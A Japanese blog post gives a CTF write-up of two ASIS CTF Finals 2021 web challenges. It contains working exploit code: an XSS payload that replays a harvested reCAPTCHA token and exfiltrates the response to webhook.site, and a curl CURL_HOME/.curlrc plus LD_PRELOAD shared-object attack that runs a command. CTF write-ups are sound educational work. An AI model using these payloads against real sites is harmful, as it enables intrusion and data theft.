st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ASIS CTF Finals 2021 writeup

12/25に開催された。zer0ptsで参加して2位。


[Web 314] Webcome! (24 solves)

reCAPTCHAのチェックボックスにチェックを入れてSubmitを押すとフラグをもらえる便利なWebアプリケーション。ただし、"secret cookie" を持っていないとダメ。

f:id:st98:20211226045634p:plain

/report からはadminにバグの報告ができ、URLを送信するとGoogle Chromeでアクセスしてくれる。以下のコードを見るとわかるように、このadminは先程言っていた "secret cookie" を持っている。このWebアプリケーション上でなんとかしてadminに先程のフォームの送信をさせ、そのレスポンスを手に入れなければならない。

app.post("/report",async (req,res)=>{
    res.setHeader("Content-Type","text/plain")
    if(typeof req.body.url != "string" || !/^https?:\/\//.test(req.body.url)) return res.send("Bad url!")

    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+30 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+30-now()}s later!`)
    }
    reportIpsList.set(req.ip,now())

    const browser = await puppeteer.launch({ pipe: true,executablePath: '/usr/bin/google-chrome' })
    const page = await browser.newPage()
    await page.setCookie({
        name: 'secret_token',
        value: secretToken,
        domain: challDomain,
        httpOnly: true,
        secret: false,
        sameSite: 'Lax'
    })

    res.send("Bot is visiting your URL")
    try{
        await page.goto(req.body.url,{
            timeout: 2000
        })
        await new Promise(resolve => setTimeout(resolve, 5e3));
    } catch(e){}
    await page.close()
    await browser.close()
})

XSS

/ では以下のような処理がされている。script タグ内の $MSG$msg というGETパラメータの値に置き換えて返しており、'/script の前にバックスラッシュを付け加えることでXSSを防ごうとしている。が、単体のバックスラッシュはエスケープされていないため、例えば \' のような文字列は \\' に置換されてしまい、せっかくのエスケープが無駄になってしまう。

app.get('/',(req,res)=>{
    var msg = req.query.msg
    if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!`
    msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script')
    res.send(indexHtml.replace('$MSG$',msg))
})
<script>
           msg.innerText = '$MSG$';
       </script>

これを使って、/?msg=\';alert(123);// にアクセスすると以下のようなHTMLが出力されてXSSに持ち込むことができた。

       <script>
           msg.innerText = '\\';alert(123);//';
       </script>

reCAPTCHAのバイパス

あとはadminに /flag へPOSTさせるだけかと思いきや、前述のように /flag はreCAPTCHAで保護されているために、なんとかしてバイパスさせなければならない。当然ながらadminは「私はロボットではありません」をクリックしてくれないし。

ではどうするかというと、事前に自分の手で「私はロボットではありません」をクリックし、取得したトークンをadminに使わせればよい。まずトークンを記録する log.php というPHPスクリプトを書いて自分のWebサーバに置いておく。これで、「私はロボットではありません」をクリックした状態で navigator.sendBeacon('http://example.com/log.php', grecaptcha.getResponse()) のようなコードをDevToolsで実行するとトークンが token.txt に保存される。

<?php
$body = file_get_contents('php://input');
file_put_contents('token.txt', $body);

問題のWebアプリケーション上からトークンを取得できるように、以下のような token.php も用意して設置しておく。

<?php
header('Access-Control-Allow-Origin: *');
echo trim(file_get_contents('token.txt'));

これで準備が整ったので、例のXSSを使って以下のコードをadminに実行させればフラグが得られるはず。

(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();

/ には msg に含まれる大文字を toLowerCase によって小文字に変換するという地味な嫌がらせが仕込まれているので、大文字を \x41 のようにエスケープすることで回避する。その変換をやってくれるスクリプトを書いておく。

import base64
import re

s = b'''(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();'''
s = base64.b64encode(s).decode()
s = re.sub(r'[A-Z+=]', lambda m: '\\x{:02x}'.format(ord(m.group(0))), s)
print('http://65.21.255.24:5000/?msg=\\\';eval(atob("{}"))//'.format(s))

reCAPTCHAのトークンを更新した上で、このスクリプトを実行して出力されたURLを報告するとadminがフラグを投げてくれた。

ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}

[Web 406] cuuurl (17 solves)

URLを与えると curl でアクセスし、IPアドレスごとに用意されたディレクトリにそのレスポンスを保存して表示してくれる便利なサービス。env というGETパラメータから curl に与える環境変数を操作できたり、file というGETパラメータからレスポンスの保存先のファイル名を変更できたり、便利な機能が搭載されている。

#!/usr/bin/env python3
from flask import Flask,Response,request,redirect
import secrets
import re
import subprocess
import pty
import os
import hashlib

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 0x100

@app.route('/')
def index(): #Poor coding skills :( can't even get process output properly
    url = request.args.get('url') or "http://localhost:8000/sayhi"
    env = request.args.get('env') or None
    outputFilename = request.args.get('file') or "myregrets.txt"
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    result = ""

    if(env):
        env = env.split("=")
        env = {env[0]:env[1]}
    else:
        env = {}

    master, slave = pty.openpty()
    os.set_blocking(master,False)
    try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

    os.close(slave)
    os.close(master)

    if(not os.path.exists(outputFolder)):
        os.mkdir(outputFolder)

    if("/" in outputFilename):
        outputFilename = secrets.token_urlsafe(0x10)

    with open(f"{outputFolder}/{outputFilename}","wb") as f:
        f.write(result)

    return redirect(f"/view?file={outputFilename}", code=302)

@app.route('/view')
def view():
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    outputFilename = request.args.get('file')

    if(not outputFilename or "/" in outputFilename or not os.path.exists(f'{outputFolder}/{outputFilename}')):
        return '???',404,{'content-type':'text/plain;charset=utf-8'}

    with open(f'{outputFolder}/{outputFilename}','rb') as f: 
        return f.read(),200,{'content-type':'text/plain;charset=utf-8'}


@app.route('/sayhi')
def sayhi():
    return 'hi hacker ヾ(^-^)ノ',200,{'content-type':'text/plain;charset=utf-8'}

app.run(host='0.0.0.0', port=8000)

環境変数の操作といえば LD_PRELOAD によって共有ライブラリを読み込ませるテクニックだが、適当にコンパイルした a.so のようなファイルをダウンロードさせようとしても ?? と返ってきてしまう。以下のtry-exceptの部分でどのようなエラーが発生しているか確認したところ、[Errno 11] Resource temporarily unavailable というエラーが起こっていることがわかった。

   try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

これはバイナリファイルをダウンロードさせようとしているからっぽい。

$ curl http://example.com/a.so
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

ほかの環境変数でなんとかできないか調べていたところ、CURL_HOME が見つかった。これにディレクトリのパスを入れてやることで、そのディレクトリに .curlrc という設定ファイルがあれば読み込んでくれるようになるらしい。なるほど。

なんとかして共有ライブラリを適当なパスにダウンロードできるのではないかというアイデアx0r19x91さんから出たので色々試していると、.curlrc に以下のような内容を書き込むことで --output /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so というコマンドラインオプションを付与した場合と同じことをしてくれることがわかった。使えそう。

output = /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so

ということで、まず /?url=http://example.com/.curlrc&file=.curlrc で上にあるような .curlrc を用意されたディレクトリに保存する。続いて、/?url=http://example.com/evil.so&env=CURL_HOME=/app/outputs/(IPアドレスのMD5ハッシュ)/ で共有ライブラリを同様に用意されたディレクトリに保存する。この evil.so は以下のコードをコンパイルしたもので、読み込むと /readflag の実行結果を output.txt に保存する。

// gcc -shared -fPIC evil.c -o evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("/readflag > /app/outputs/(IPアドレスのMD5ハッシュ)/output.txt");
}

/?url=http://example.com/&env=LD_PRELOAD=/app/outputs/(IPアドレスのMD5ハッシュ)/evil.so で発火させて /view?file=output.txt からその実行結果を見るとフラグが得られた。

ASIS{is-this-a-web-chall-or-misc...hmmmmmm...idk}